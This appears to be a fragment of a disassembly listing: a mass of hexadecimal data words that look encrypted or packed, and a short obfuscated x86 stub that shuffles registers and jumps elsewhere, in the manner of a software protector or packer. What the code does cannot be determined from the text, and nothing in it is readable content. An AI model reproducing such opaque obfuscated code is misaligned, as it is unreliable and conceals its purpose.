0E2CD1125h, 4FB886B4h, 0D8277B43h, 0A691EDF1h dd 327D4179h, 2E43A18h, 4FF468h, 24148900h, 165768h, 241C8900h dd 4EC81h, 3C890000h, 77DCBB24h, 43436C95h, 4633B850h dd 0C331697Bh, 3C8B5458h, 4C48324h, 4EC81h, 4890000h, 89D88924h dd 8B580847h, 8951243Ch, 4C181E1h, 83000000h, 0C8704C1h dd 1C8B5C24h, 0E2895224h, 4C281h, 0C2830000h, 24148704h dd 4611E95Ch, 0B82CFFF9h, 5EE36FBh, 0E0FFC503h, 35B24DAEh dd 5A333EBDh, 21D0959h, 7DE9EB4Fh, 5424187h, 2E00A9C7h dd 54E67A54h, 7F5F16A3h, 1FBD9BD9h, 2EA593B7h, 339411EFh dd 1D93F157h, 440906D8h, 32A3A564h, 41059D78h, 1DF6A504h dd 61C138FDh, 386C8D8Dh, 0F18B05EEh, 23158D89h, 6A05E7h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 897E31C3h, 54443865h, 0B985C70Eh, 1405E708h, 60000064h dd 0D15BD89h, 8A0F05E7h, 6, 441B589h, 0C76105E7h, 0E70C9985h dd 5, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 0B663A239h, 9AEF649Dh, 2DB5FF4Ch dd 0F805E726h, 32CD95FFh, 6A05E7h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0F340BFC3h, 0ED4A2144h dd 95CEDE81h, 6A13D5h, 1A1D95FFh, 0C08B05E7h, 9ED53EEBh dd 848D94B0h, 138EC0A2h, 0F8A24C03h, 0CAE13B14h, 0DAC177Bh dd 4E0A607Bh, 5A37651Eh, 51FB46ACh, 83F072E2h, 0A0C9EB48h dd 1FEFCFB3h, 899D50Fh, 0D2619536h, 0D1A3CC68h, 7D604404h dd 270104EBh, 0E965B8h, 6800000Dh, 5EE3AA6h, 0F944B2E9h dd 3BB968FFh, 0A8E905EEh, 68FFF944h, 5EE3DEEh, 0F9449EE9h dd 3F1D68FFh, 94E905EEh, 68FFF944h, 5EE41ECh, 0F9448AE9h dd 432D68FFh, 80E905EEh, 68FFF944h, 5EE445Ch, 0F94476E9h dd 506652FFh, 5B7B53F8h, 5961AEF5h, 5D61A8F7h, 5C7AA4F3h dd 0DE92218Ch, 0D966EAD0h, 0D966EAD2h, 0D77CECCCh, 4A7FD1F5h dd 0DBCBBD18h, 0DDC8C69Bh, 5E7CAEF1h, 0DBDFA174h, 8BD4C69Bh dd 7A523EA8h, 0EF390654h, 3BE3F3CFh, 75E22A9Eh, 9DD829C3h dd 69B595B6h, 0D12D0D1Eh, 0BB87A7E6h, 0F1325407h, 75E25C24h dd 350657C3h, 1CAC2AB1h, 19262A0Ch, 7F272911h, 0ED5D78C7h dd 36EE976Fh, 576AF16Bh, 10E61B2h, 0A984E539h, 1E7C424Ah dd 0FFD7F7D1h, 185B7B50h, 0CCD11FD4h, 79C23F9Ah, 0E637C95Ch dd 745F2598h, 6229C692h, 0F4E47C64h, 43E061F1h, 0E2000000h dd 0A72FEE02h, 4E6650FFh, 0CF2E7F5Fh, 5CFE916Ah, 755DAEC9h dd 657B483Dh, 0EBCABD1Ah, 0B8522297h, 7C24C692h, 0B89F61B4h dd 486DC692h, 0C692B8E0h, 0F0C192E3h, 0BCA422B5h, 61F23424h dd 0F420h, 7A52A200h, 0F1390654h, 65A981C9h, 0E57260A4h dd 0E2946BEDh, 92E31F39h, 0D2BA5148h, 9CDFA57Dh, 0AF0A32A2h dd 0C37589D9h, 47AA89DAh, 0D21D6145h, 0FCC2CAFAh, 0D27E4F9Eh dd 8C7D0A22h, 0C37F6146h, 9DDC07E0h, 10BC375h, 0FACBEB23h dd 0FFDFC956h, 25E804A3h, 89F708ADh, 0BD8CC95Ch, 169A3F76h dd 2DC69271h, 5EAFF3DCh, 0C824C30Dh, 8FD3F3DBh, 0D68987B7h dd 8BD4088Ah, 0EFD7D6B3h, 0ED3EA7F6h, 7058D0E5h, 0B31BCCB8h dd 0A4449266h, 887A18C8h, 0BA5C8A65h, 0A29886E9h, 864E0051h dd 6E4D6DB9h, 29271703h, 79261402h, 7022D4EBh, 8B2EAD85h dd 0F400000Ah, 0F5428EC8h, 0F05FF1D1h, 0F259F7C7h, 0CE55FBDBh dd 4F56FAC0h, 366038h, 3463C8h, 0A2A63C8h, 0F2F79C6h, 0D3E6E0C1h dd 0C69BD86Dh, 52433766h, 0CAFA5664h, 2D501272h, 185B335Bh dd 1D331335h, 2FEE024Dh, 0FEB912A7h, 65B6C95Ch, 0A810A56Dh dd 0ABC692FEh, 52271B5Ah, 0C692FEE2h, 2B775777h, 2FD726CBh dd 337ED736h, 0CCE43A1Ah, 0E3E7B1Fh, 51E3A977h, 97B49AEBh dd 847E36F3h, 5802A3BAh, 34AC7BBAh, 1061F1EEh, 0E2h, 547A5252h dd 0C9F13906h, 5742EDF5h, 340A3279h, 57B684D5h, 0E7A0B314h dd 95B7C375h, 0E61BEDC8h, 8786C375h, 0A1725BA7h, 62C90750h dd 9936042Ah, 5561AC53h, 0D6774204h, 0D3C95CF2h, 3BB14E82h dd 0F2A5705Ah, 0ECCB891h, 0F8C6E621h, 149C3991h, 2FC8A55Dh dd 0DD2E9FDEh, 4262AAF5h, 3716644Ah, 72B198E6h, 0D3EBD778h dd 536B54FBh, 71FF3E0Fh, 8BABE24Dh dd 381756B7h, 0F53C80Eh, 0D1702259h, 9786279h, 0BDEB0000h dd 0A2E8B799h, 0BAE74C9Ch, 0A6E14E82h, 0B5FD4A86h, 4B7A4B85h dd 3D132B17h, 3D132B16h, 3B153516h, 361A3C6Ch, 72C6D3F3h dd 71C69BD9h, 64525402h, 29C47C56h, 0E1576229h, 0E2C37573h dd 12A64991h, 0A28947A6h, 4F715A6Ah, 0D5297A42h, 0F9A5ABF4h dd 791CE431h, 0C617C375h, 7A52F3E7h, 6F4A7254h, 0C375E299h dd 146A499Ah, 80B4E34Ch, 785E4EA5h, 0E273C1D0h, 0A981C375h dd 8F14C051h, 3E1E0B41h, 7DB889E0h, 0BE103616h, 4B97B791h dd 0C3661862h, 0F30EBB49h, 0B597BCB0h, 457BCDE8h, 2F78C375h dd 99E5C9C0h, 2C1B67B0h, 0E7C7C4FCh, 5BA9BB9Bh, 8EF53894h dd 0D57A6CBDh, 0A18EECECh, 5F774078h, 759FF67Ah, 41BC8DC3h dd 0D8FE6D01h, 0D27E4048h, 0D91163FDh, 0AF6167h, 2650000h dd 0FFA72FEEh, 193D6837h, 75E2D45Ch, 5F9EEFC3h, 5CF8D9FAh dd 794596C9h, 92F43084h, 58546C6h, 0F274851Fh, 0BFE9B661h dd 7EE75C9Fh, 0E3000000h, 75E253D8h, 0B3529EC3h, 3E5BE1Bh dd 81D2C95Dh, 0CCB401C9h, 0C7C692C3h, 92B9B7F6h, 0B99D88A4h dd 77751268h, 90993C96h, 54CCBBCCh, 0CEED6DDCh, 0CA5D8ADAh dd 59106A26h, 0B30063A3h, 4441EE62h, 62CA6264h, 0E148EDC9h dd 151B18Ch, 2C99A929h, 0B9F061BEh, 14754971h, 4746AAD9h dd 3A9F470Fh, 0C8BBC5B6h, 31877C4Dh, 32C8BBC5h, 0EDC882E1h dd 0C292C3B0h, 0C3F454A5h, 4D9h, 26EE0217h, 0A4E81CBBh dd 7159AAAFh, 5D1B4FA4h, 30564C9h, 0BD8EDF23h, 0FF2E7161h dd 0B93B9CDFh, 0CFC692A2h, 0FE967A1Ch, 0CE61F24Ah, 4A9h dd 206A3598h, 987A2302h, 547E1FCDh, 5CEAF441h, 3E90E1C9h dd 76D7C506h, 0B6F50967h, 1D7FE63Bh, 36BA68DCh, 915A7F57h dd 2E66F12Fh, 2E539D4h, 26A8252Eh, 0E6342D93h, 84D52676h dd 6012EB6h, 34B8C726h, 355C7951h, 4E7CF38Ah, 38063663h dd 6CE80D1h, 0C9958E2Eh, 25048B48h, 0AFFEDCFCh, 727614Ch dd 0D2A62C9h, 0BB3658F7h, 0CBB08150h, 1FD07691h, 43F4E743h dd 0BC000007h, 0BD8A4670h, 0B8874969h, 0BA814F8Fh, 0B69DB393h dd 379EB288h, 0D8FE2880h, 0D8FC2B70h, 0C2E22B70h, 0C7E7210Eh dd 8B2EB809h, 0C69BDF25h, 529BCF3Eh, 7D5D4A7Ah, 0B986CE2Ch dd 15744A72h, 4045ABD6h, 0F0F6AB0Eh, 0A2F3C95Ch, 5F060728h dd 0ABF7C7F0h, 0EC13E542h, 0C710C692h, 0D8CD5AF6h, 0CBE2FAF1h dd 7E4FA1FFh, 2D88B020h, 0C6923A5Bh, 72470F58h, 0C6923A8Eh dd 9079B485h, 0C6923A28h, 922A453Fh, 2A8FB7C6h, 0C6920A46h dd 92310C5Dh, 1F17BF5Eh, 0E575D150h, 48026156h, 0BAC5986Dh dd 6E4C9DCCh, 0BAE1298Bh, 0A8C5FC8h, 0A8B8E06h, 2DBE5Ch dd 2080000h, 300831EEh, 0EECB83EAh, 0C375E21Ah, 0D7FFC819h dd 0EE52672Fh, 0E5C375E2h, 6E6E5594h, 63DAA0Fh, 69BAC95Dh dd 3C4615h, 35900000h, 0C31F3F6Ah, 0F8F48BEAh, 9F85BD15h dd 0E9090E0Dh, 0AA34ACC2h, 0C13E7B50h, 409EBCEEh, 98400A69h dd 397186A0h, 95D0807Ch, 5C2BE334h, 821911C9h, 0A25A2390h dd 41926342h, 7A52497Dh, 1D61414Ah, 4E3EE3CCh, 9A64519Ah dd 6141DBEh, 414F0000h, 5E4CDB75h, 5E4BD078h, 4245D27Eh dd 5941EE62h, 0AFC6EF61h, 418FCFFBh, 418FCFFAh, 5FF1D1FAh dd 5AF6D8F0h, 0D65A7F57h, 0EDC69BDDh, 0EE02C8BEh, 0C112A72Fh dd 8EC95CE9h, 361661BDh, 94993810h, 68EF261Ah, 922AC1D0h dd 92D1A303h, 0CD0300EFh, 0F3DBBA36h, 6ED0FD26h, 55A9FAE4h dd 0CE02206Ah, 0F0DABB31h, 44295025h, 360455FAh, 758DF143h dd 0C2C487FAh, 0D91B46DEh, 122062Eh, 2400000h, 12A72FEEh dd 0C95CE9C1h, 7161BD8Eh, 83DFFF2Eh, 24644BAAh, 35804802h dd 0C692E543h, 38347740h, 0FD183C74h, 0C2FC82B7h, 0BA9C8CE3h dd 5AAC9164h, 0D4B7EF26h, 0E3616B2h, 8BE2381Eh, 4D6810BAh dd 0EE4760FBh, 7DC3D6F8h, 76EE4760h, 5B99D425h, 0A4FADCCCh dd 0F39FECD1h, 2BAF3CC7h, 0A1AF8F99h, 0EA5B29Ah, 8038BF91h dd 0A8BF0C1Dh, 0FABF6456h, 350D55A9h, 75C8EE85h, 0C9F437CDh dd 4E6B6320h, 9708DBDAh, 0EB804899h, 6B4E0005h, 9D21D53Ah dd 0C898E637h, 211C3867h, 54F4DAF2h, 0D1F9DDCFh, 2A605C4Eh dd 86F83B04h, 11A06533h, 0F4DAF099h, 695159A6h, 0B4D29915h dd 0DBFF6C0Ah, 96765F49h, 46B6A192h, 0F1CD1138h, 0E2774F98h dd 7E86BA4h, 9C3D137Ch, 6DAE38B2h, 93B56887h, 0CD1E6FB3h dd 32143403h, 73C5D098h, 890DCDBEh, 0CDBE442Ch, 0BD0E5F0Dh dd 4C31116Ch, 8705D554h, 90305631h, 0EDBA96B8h, 1F479BBBh dd 0E6341A30h, 0D319A487h, 203D9832h, 959C5CEDh, 5CD38444h dd 7000000h, 0A72FEE02h, 5D065512h, 0E633FBC9h, 0C692C112h dd 10E5C011h, 9E8CFBC7h, 0C16E16B8h, 0B29BE7C7h, 92C103F5h dd 0F43700C6h, 7BBFC478h, 94142ABh, 0D8CECD31h, 0CFEA54B9h dd 0C6922E79h, 9DD8297Ah, 2E64C4D1h, 3E0FC692h, 0BF9F8B94h dd 2C2A1463h, 43AEFFCEh, 35146A4Ah, 526135F6h, 7D5D4A7Ah dd 0A9473C2Ch, 26D7E2E4h, 0A3C95CE7h, 0F6D77852h, 9EFCC2C8h dd 22D27E4Fh, 0E7E95F7Ah, 99EAC692h, 7656775Ah, 0BC618F28h dd 0F50A8F2Ah, 9EEFCCBBh, 0E607FD40h, 2EC2C8BBh, 0ED52676Fh dd 0EAC29331h, 4F04599h, 91D2C0B5h, 7E4995B5h, 0DC340A30h dd 6C4463E7h, 7417DA7Ah, 0A962E852h, 0B9A93B21h, 3B9B5623h dd 2F000000h, 0A72FEE02h, 5D065512h, 0A543FBC9h, 7A7981Bh dd 0C09E0E0Ch, 6F65C5FEh, 0C567BF0Ch, 6266776h, 0FF89D138h dd 0D4FECFCAh, 17C404Bh, 249AC1h, 4FD00000h, 0CB22785Ch dd 0EE02FEE8h, 37FFA72Fh, 75E21EE2h, 0E9C415C3h, 5CE71700h dd 0DBF3DCC9h, 310C4A74h, 7A529DD1h, 9AC1A754h, 2F0B6451h dd 345ACh, 4472BE00h, 4F6FBF84h, 4D8DBA81h, 0B195B483h dd 0B086B09Fh, 2A7E3598h, 2572DEFCh, 2572DEFEh, 2308C0E0h dd 0A60BC5E9h, 0A327892Ch, 0F13CC69Bh, 547A5299h, 0D1EF3906h dd 0A38AD0E8h, 6936FE52h, 0EBC21820h, 0EB0ADA93h, 7FBE2EAEh dd 0E1E9AC40h, 5C8CE7D4h, 0BF83ECC9h, 92687AFAh, 3B5F0CC6h dd 0F200BF51h, 9BC47C61h, 24CFC049h, 31D5AE8Dh, 91000000h dd 0A72FEE02h, 5CFEB912h, 1965B6C9h, 92FED0A4h, 7E5E45C6h dd 0D2EAD720h, 5377F48Ch, 2EA863EFh, 6F6F5AE5h, 7307990Ch dd 0DDC561F2h, 81000000h, 6547A52h, 81C9F139h, 8676BFA9h dd 0ECCFB915h, 4363A592h, 2818307Fh, 0EBCBC3E1h, 1465B697h dd 3C7EE534h, 0A3E5C375h, 0A6E64D83h, 52ABA80h, 0EBED2900h dd 324FFCE8h, 0F1FF82E1h, 0FC0DD125h, 15360E06h, 0B780E935h dd 0C5D9006Fh, 0B78072A4h, 4B09BA1Fh, 95E6C95Ch, 6D30BCBBh dd 8E0CD65h, 9736B65Dh, 3582013Bh, 1756A700h, 5B5F7A5Fh dd 25EDCCB8h, 0A4622890h, 4C8CB5C8h, 0E25392E3h, 0AE013991h dd 0E221272Dh, 0B145E9Dh, 0A113F1Fh, 25413E1Ch, 0EB70230Dh dd 2040C4Fh, 317F0000h, 2E7CCB05h, 4E7BC008h, 5275C20Eh dd 4971DE72h, 0BFF6DF71h, 0B19FBFEBh, 0B19FBFEAh, 4F81A1EAh dd 4A86A8E0h, 0E64A6F67h, 0FDC69BA1h, 6A35D88Eh, 0CF220121h dd 0CE55FBC3h, 0B050F8DEh, 0C956EE02h, 0B53BF8C0h, 4EC375E2h dd 0F840557Dh, 0FBC375E2h, 497159AAh, 0E24C3481h, 0CFD9C375h dd 0EECD1EEFh, 5CFEB009h, 34624DC9h, 0DA83806h, 0C692FEBBh dd 0CD1E6FB8h, 0B191BA85h dd 0E1211C6Dh, 92FE981Ch, 9D3DEEC6h, 0F2721DB7h, 0E22F61h dd 52BB0000h, 3906547Ah, 0F5C9F1h, 0C375E7D5h, 0AC260800h dd 57AB8B83h, 0CC1D2168h, 0F4D463F1h, 1CE62ADBh, 4ED6280Eh dd 0BB87D0D2h, 0FAD3D01Ch, 5325F0DAh, 50C37508h, 399C3607h dd 0C95C1B88h, 0EDB21465h, 94589BBBh, 5A0C11DFh, 1BB10792h dd 0FD2CC692h, 0DBA485D9h, 7B23AB8Ah, 1B9266B3h, 4091C692h dd 73F48465h, 0AEFFCCB8h, 562F1B24h, 0A443FD43h, 2DA5F6C8h dd 0A4432088h, 81D223C8h, 0FAF874Fh, 159B3EF4h, 2EC8A47Fh dd 0A84585DDh, 63AF82E1h, 0E4D4A65Bh, 0C41C7022h, 0D597h dd 34020E00h, 3F1F0F14h, 3D1D0A11h, 21050413h, 2016002Fh dd 0BAEE8528h, 0B5824E8Ch, 0B5824E8Eh, 0B398B090h, 169BB599h dd 0A69719BCh, 61ACC69Bh, 56645209h, 3C65CAFAh, 0D5290902h dd 6548ABF4h, 1DCD0323h, 6547A52h, 1CFEF39h, 0CF87866Ah dd 641BB5EAh, 307FB2C9h, 98E73B04h, 95A2AEB0h, 0EA4F93B3h dd 26227C74h, 0AB5C7A6Dh, 7E62D6E3h, 0DFE8A531h, 194F6482h dd 98DB24F5h, 1BB393B5h, 94B81923h, 4E907C0Eh, 0F283F8C4h dd 458BEAC4h, 0C688AEFEh, 3008311Eh, 522683EAh, 0CFA53131h dd 0DD2EFFDFh, 7457A09Eh, 0E5760A50h, 684547E5h, 0FE428281h dd 437BA63Ch, 2F2172h, 0F67A5F08h, 8DA53121h, 4C0F53BCh dd 0Ah, 4D6DB986h, 8DDD1871h, 66526F23h, 0EB3D0A50h, 8388F7CBh dd 25105FA3h, 0B4E2CD11h, 434FB886h, 0F1D8277Bh, 79A691EDh dd 18327D41h, 5102E43Ah, 0C1815954h, 4, 8704E983h db 0Ch, 24h, 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push 5BE7h mov [esp], ebp push edi mov edi, 5EE3900h push edi pop ebx pop edi push esp mov ebp, [esp] add esp, 4 push ebx pop dword ptr [ebp+8] push dword ptr [esp] pop ebp add esp, 4 push dword ptr [esp] pop ebx add esp, 4 jmp loc_545FF7 ; --------------------------------------------------------------------------- db 0D8h dd 940BE6DAh, 9FCC4FEh, 0B8AD2BE9h, 5EE4556h, 0E0FFC503h dd 35696h, 13B0605Bh, 7BF32D47h, 12C054FAh, 0DA138DFh dd 272056h, 537FE59Eh, 78A02073h, 3BC1C674h, 181F4752h dd 573FC02Fh, 3D8FD4B2h, 0E64304EBh, 5EE950F7h, 0AC000005h dd 0ADFA5660h, 0A8F75979h, 0AAF15F7Fh, 0A68D4363h, 278E4278h dd 0E8EED890h, 0E8ECDB60h, 0D2F2DB60h, 0D7F7D17Eh, 0BB1E4879h dd 0C69BA735h, 0A8F7DFCEh, 4D1D587Eh, 6547A52h, 0F6D6F15Eh dd 686E58B7h, 6D715BE0h, 0C0E62611h, 0A7998DFAh, 127B4767h dd 4032FDC1h, 0AC8FAFFFh, 1D0F9D3Dh, 3081739h, 8684AB23h dd 7A4B73BEh, 6AE6C524h, 92E8C8DDh, 5E7EA5h, 3EEBEF7Ch dd 0B3813E76h, 2546FFDAh, 7507F840h, 4BAAFBC3h, 0C9072764h dd 2F1A2A62h, 3D80DE2Fh, 0C3750748h, 0E12B4D7h, 67D8A996h dd 73B6h, 6A353000h, 0CD200323h, 3FA7FBDBh, 0CD112510h dd 52D881FCh, 0CFC375E2h, 58A7FBC3h, 3B12686Eh, 0ADF1D5F4h dd 90305615h, 7C4D91A5h, 189D813h, 37B91CC4h, 0CCC375E2h dd 7B1580E3h, 0B867D98Dh, 0E0A5A897h, 0A3D4CD5Ah, 8F74B780h dd 1, 447852DBh, 4E6B635Bh, 0C375E2FAh, 35FA8F9h, 0EA301634h dd 54AA8A9Dh, 4AE6E0EBh, 41EE6240h, 39E96747h, 7C566452h dd 0E29F61B4h, 4B94C375h, 0FD291668h, 736BECD4h, 949DD93Bh dd 400A5BA4h, 0B19AB0FFh, 137C4D91h, 43BFFECFh, 8E1ABC2Fh dd 5F65A480h, 0C91A6B53h, 0CE103807h, 0A29A87F0h, 0BFDBF05Ch dd 0D8A44BD5h, 4447E867h, 3E0F2F7Eh, 8C06FFh, 35400000h dd 80802D7Dh, 70B3DB89h, 0D925151Dh, 3199A1EEh, 0FCD35979h dd 0E9C4BCEAh, 1BBF2E99h, 11B98189h, 0E03E1C0Eh, 4091B597h dd 5640EF65h, 3809317Eh, 92B295E2h, 0CFCB804Ch, 3313351Ah dd 0C85F9EEFh, 67D8AF68h, 0F777BDF5h, 3A1624D6h, 0AFF3CBF7h dd 66A61F5Eh, 20000000h, 8566452h, 0F7D7F758h, 65515CABh dd 0D1FAD914h, 5576D9F1h, 8EC02975h, 75E2452Bh, 2E0D5EC3h dd 731754D0h, 7FD1E9D1h, 73CFFFB7h, 4CB3826Eh, 6A357971h dd 27170222h, 29A188D6h, 75E2248Ch, 8FEE3FC3h, 76446AA0h dd 0AD13A66Eh, 0A6C375E2h, 0CCB11655h, 53C375E2h, 12829630h dd 3267D98Eh, 1, 3F6A35B4h, 0C8F1DC1Fh, 8316DEF0h, 0C375E23Dh dd 0B886E536h, 25795D4Fh, 1BCCCA91h, 5B391634h, 0F0A37AD6h dd 83EA3001h, 74444DA0h, 0CCD11FD4h, 0AF91B59Ah, 2405597Dh dd 8FB887DBh, 7337E4Fh, 0A382EB37h, 0C7018E2Bh, 2FC95Dh dd 77C42717h, 0BDEFD826h, 0A0E8B799h, 177C349Eh, 635F3491h dd 2E0C507Bh, 53AF8EDFh, 9D3118EEh, 0A68681C6h, 193D6F58h dd 983EADC5h, 0A7236816h, 2D230305h, 16CFC961h, 58268696h dd 2E16361Dh, 0E7C7C6FEh, 69614896h, 9D35E44Ch, 5DAEFFC6h dd 30163601h, 7515C6EAh, 0F9D1F5D7h, 0F536B56h, 0F7C0F620h dd 0B92BB8B4h, 8B61F0B7h, 160h, 31EE02DFh, 9DEC320Ah, 42BF1A4Ch dd 4EC95CF7h, 8D9CBAE1h, 2B7455A9h, 0D42A7BC8h, 0B39DA1EBh dd 0BC82A4E4h, 5A030B14h, 92F6897Fh, 68B98AC6h, 0C0E6260Dh dd 0A49A8DFAh, 2C72437Bh, 9AE0D4C3h, 0E74545F6h, 6FBE9CB8h dd 0C7C3881Eh, 4B032365h, 0EF8B56F3h, 0A786224Eh, 0CEAA3AA9h dd 7C9A61F1h, 2C000000h, 9127ED02h, 7495C4E2h, 2CD4FECFh dd 1F409014h, 0BBE77CD5h, 1D6EBF83h, 172779DEh, 8DA5C375h dd 659EC61Fh, 8D774FF2h, 49EF984Dh, 0DC2D9EDDh, 0CEB53BFEh dd 0F9D0C375h, 22F909DCh, 0ABF4DAC2h, 1C226857h, 0BD03963Eh dd 0B6C37556h, 0C7C38A65h, 0E6E0637Bh, 0C43FD51Ah, 0F17E10Ch dd 14DCF6C7h, 0FD381C0Bh, 75CC441Ch, 0A42E7FC3h, 6B14748Ch dd 684BF883h, 8233E4h, 2670000h, 12A72FEEh, 0C95CE80Dh dd 3DA5F9CAh, 0E4D8A075h, 8ADBC692h, 624444ABh, 674741EEh dd 0E5DFA61Bh, 0B2F9C692h, 0B294B414h, 0A0BE19Eh, 88ACFF40h dd 52185BB2h, 61D7E2AAh, 62C692E5h, 0E8CEDE11h, 2F332C8Dh dd 6148CC83h, 0D1380626h, 5B4DBA80h, 78DB537Bh, 0F9D9F26Ch dd 577244A5h, 40BEFD65h, 0FE2BAF3Ch, 4A1DE336h, 9E88C8A0h dd 539EEFB8h, 641B5A7Ah, 0E8CD8588h, 0C2B18077h, 7D2D230Ch dd 0A72FEE02h, 5B7B50FFh, 0CF0F3807h, 21DABFFEh, 5EC96428h dd 0C6C6310Dh, 0AC39A9E9h, 1C6D8A67h, 12567CCh, 4C348149h dd 47C69BA9h, 0CC103B76h, 0E62C91F1h, 0E31D61DBh, 4A42EEE8h dd 4D5FE464h, 0E32A1569h, 10FBFFC3h, 0ECF2DA76h, 11E732FAh dd 1298721Bh, 0C16EE2C1h, 89B1F9C7h, 370B54B5h, 8A4h, 6A35F200h dd 82DE1D3Dh, 506652CEh, 0CBEB3D0Ah, 0A38388F7h, 1125105Fh dd 86B4E2CDh, 7B434FB8h, 0EDF1D827h, 4179A691h, 3A18327Dh dd 895002E4h, 405E0h, 0BB530000h, 4, 875BD829h, 685C2404h dd 0D67h, 68242C89h, 4CB9h, 68243C89h, 5EE45FEh, 81242C8Bh dd 4C4h, 4EC8300h, 81242489h, 42404h, 685F0000h, 285h dd 89240C89h, 84F89E9h, 243C8B59h, 81E68956h, 4C6h, 4C68100h dd 87000000h, 8B5C2434h, 8956242Ch, 4C681E6h, 83000000h dd 348704C6h, 24E95C24h, 36FFF932h, 9D7F8ACAh, 1113C433h dd 4AD5B8C1h, 0C50305EEh, 0B8F1E0FFh, 234F39ECh, 0E92F424Bh dd 0AFC965EAh, 689C463Eh, 2CA14243h, 80FC2E99h, 0D974165Bh dd 0A0B54597h, 7C4451B2h, 0F6734609h, 883A5A1Fh, 8A2D6765h dd 55F502A1h, 13EB0860h, 7E6447F0h, 886D0AABh, 2848062Ch dd 0B4A52618h, 525A074Dh, 75721CB5h, 571864D2h, 2EAF6558h dd 8F691043h, 0A3774C8Eh, 0A9971F09h, 0C7591592h, 65C1092Dh dd 578B4747h, 649E05E3h, 3D6E0C19h, 4EB5AAEh, 1CC32497h dd 4D0E9h, 4472BE00h, 4F6FBF84h, 4D8DBA81h, 0B195B483h dd 0B086B09Fh, 2A7E3598h, 2572DEFCh, 2572DEFEh, 2308C0E0h dd 0A60BC5E9h, 0A927892Ch, 0F13CC69Bh, 4D8DBA85h, 8DDD1871h dd 6547A52h, 7C9F139h, 0F5D9F05Fh, 684E5EA9h, 0D7F1DC1Fh dd 4C5CABF7h, 89C8606Ah, 7832CAB9h, 0FEC93974h, 6CC48EACh dd 70DC155Fh, 9BE7C610h, 75B63ACh, 0F5C90D38h, 736D5594h dd 0D72B7458h, 0D5596168h, 0F557731Ah, 915DF3D3h, 0CB49D8Eh dd 0DE845351h, 49A487D0h, 47EC7C5Ch, 2F186646h, 0F286D4E0h dd 0CAC36169h, 0CFD966EAh, 592E93EFh, 0C4C37577h, 851F0585h dd 4767D8F9h, 64h, 2D7A5203h, 75E22088h, 81D223C3h, 1C0A15BDh dd 941AFF3Eh, 9C375E2h, 0A8F73056h, 6444417Fh, 98E63716h dd 0D5E7EAFh, 8EE97B2Eh, 1DB67D9h, 0EF000000h, 45A7852h dd 0D531E45Ch, 327D941Ah, 0A88E9CF3h, 0EA3D0252h, 0C9ECF4CAh dd 0C375BD67h, 0E3C2137Ch, 65B99D8Ch, 75D7F39Ah, 70DF7151h dd 36DA7658h, 7C566452h, 0E29F61B4h, 4294C375h, 0EF86C3CDh dd 0A19CED64h, 16341661h, 88A693BCh, 1352A383h, 0B6D09B2Fh dd 222E2C1Ah, 0C9983A72h, 633343C7h, 0DBFB2D00h, 4F8FB887h dd 33133807h, 89428EF0h, 0B991B01h, 524B67D9h, 1F000000h dd 42486452h, 0E0CF137Ch, 0CCBB87B7h, 63AFFD9Dh, 60AEF55Bh dd 0FF2F705Ah, 55A29CDFh, 0C00C5272h, 1B858F0Bh, 0C967D98Ch dd 4Dh, 5664529Dh, 0CEEE3F08h, 0C59887F0h, 75E208F0h, 0E93A0BC3h dd 5D7DAA95h, 0E8EE7D01h, 0F793D846h, 0E36D6D55h, 5A78522Fh dd 0FFE45C04h, 80662C66h dd 643C8411h, 0E637C375h, 0CF15695h, 93C37564h, 52C2D6F0h dd 7267D908h, 1, 55655274h, 0C8EE3E09h, 3666DE86h, 8CDC2178h dd 509D63C0h, 4596C375h, 0EC641866h, 0D44D8754h, 3463B3E7h dd 82D33A00h, 3A9630A3h, 0DAFAD30Dh, 44A84789h, 0FFAC0941h dd 0F4C95D5Fh, 206857ABh, 0D350B00h, 0BD93FCCDh, 818EB696h dd 421268B9h, 0B886B6FDh, 29111E51h, 0D0B9F4D5h, 0C6929F6Ah dd 21830744h, 0C78FC7E7h, 929F0EF2h, 0F93405C6h, 0DAFC2C7Bh dd 4473DC84h, 0E0C32A70h, 1DB29B8Dh, 7F89B6AFh, 10B48ADBh dd 8B9D2FABh, 21C4AEA2h, 89DAE0E2h, 34DB69C1h, 0EFED85Ah dd 0D27D212Fh, 0F8DCCBE5h, 0C97353AFh, 5758642Ch, 0AB7EBD8Eh dd 61F25039h, 1140Bh, 0EE025F00h, 2512A72Fh, 12C95CF7h dd 9AB2FDC1h, 9D8F94B4h, 321A65B9h, 2ABACE2Ch, 943E1E05h dd 92F6BF01h, 86BB4C6h, 0B9933159h, 0BC54BB95h, 8861F27Ah dd 4Fh, 30ED02DAh, 0EEE03105h, 0A654541h, 0F5C13C02h, 306975CDh dd 865B6F4h, 1F344C2Dh, 7E4FC375h, 1EEB5D20h, 5776C375h dd 0D1DC2B77h, 0AE1D99E5h, 4FFC8628h, 3842A94Bh, 751E2B9Dh dd 8EDF28C3h, 1FDFF1C4h, 8BD4C375h, 8F9245h, 2C40000h dd 12A72FEEh, 0C95CE80Dh, 59D1F9CAh, 0EF0654DFh, 0B08EEDB4h dd 0EF614547h, 18664840h, 924FDEA5h, 81AEF6C6h, 7158A686h dd 8527A332h, 0D6ADA383h, 46537B1Ah, 0CC838393h, 55DBFED0h dd 0F0C8A01Bh, 40A9F5D9h, 955A6F7h, 86C8EE3Eh, 0E43170B9h dd 0C8A01B1Ch, 0A9F5C617h, 71FA3449h, 0EA3B5523h, 5803B78Bh dd 6F2EC23Eh, 4C8F5267h, 82C4C2B1h, 0B64C4137h, 3E7142D2h dd 50F8C9F1h, 0C3D294ACh, 2D5DBE5h, 4D95771Fh, 3A798E3Dh dd 2FEE02ACh, 2ECF12A7h, 0BB84C964h, 50731B13h, 9906B552h dd 7554AA92h, 0A117A224h, 0A2C69BEFh, 0C32C1251h, 0DC6BE5C9h dd 2194EACCh, 0D94D55E9h, 7BC9F198h, 74C30D51h, 0C32C7254h dd 3AE2E4C8h, 6E61299Fh, 9AD92ADCh, 0D85010A4h, 0EB8E1DA5h dd 4B3D989Fh, 48DC6EFCh, 9CCF2E7Fh, 587EAEFAh, 5D61ABF0h dd 85A01h, 358C0000h, 0DC1F3F6Ah, 6652C080h, 0EB3D0A50h dd 8388F7CBh, 25105FA3h, 0B4E2CD11h, 434FB886h, 